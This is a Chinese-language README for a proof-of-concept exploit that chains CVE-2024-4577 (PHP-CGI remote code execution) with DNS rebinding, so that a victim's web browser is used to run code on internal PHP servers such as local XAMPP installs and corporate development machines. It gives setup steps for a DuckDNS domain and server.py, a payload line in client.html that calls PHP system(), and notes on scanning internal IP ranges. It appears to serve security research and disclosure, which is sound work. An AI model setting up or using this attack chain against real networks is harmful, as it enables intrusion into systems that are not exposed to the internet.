
向本地网络服务器传递 PHP RCE (CVE-2024-4577)
CVE-2024-4577 与 DNS 重绑定链式结合,通过受害者的网页浏览器直接对内部网络基础设施实现远程代码执行。通过绕过 同源策略(SOP) 并利用运行在 本地 XAMPP 服务器、内部开发环境或企业网络上的易受攻击的 PHP-CGI 实例,该攻击能够在原本不应暴露于互联网的系统上实现完整的代码执行。在 duckdns 注册
创建一个子域名(例如 example.duckdns.org)
在仪表盘中记下你的 DuckDNS 令牌
配置 server.py:
PUBLIC_IP = "YOUR_PUBLIC_IP" # Your server's public IP
DUCKDNS_DOMAIN = "your-subdomain" # Your DuckDNS subdomain
DUCKDNS_TOKEN = "your-token-here" # Your DuckDNS token
要配置自定义 payload,请在 client.html 中找到以下行,并将其替换为你的 payload。
const payload = `<?php system('calc');?>;echo 1337; die;`;
此外,你还可以修改 IP 列表。如我们在文章中所解释的,如果你想实现内部网络扫描,可以使用我在那里展示的 JavaScript 片段。在此 PoC 中,为了保持简洁和快速,我将使用一个预定义的常见 IP 列表。
https://github.com/user-attachments/assets/90abef27-28d0-4473-88e9-5e285a5cc667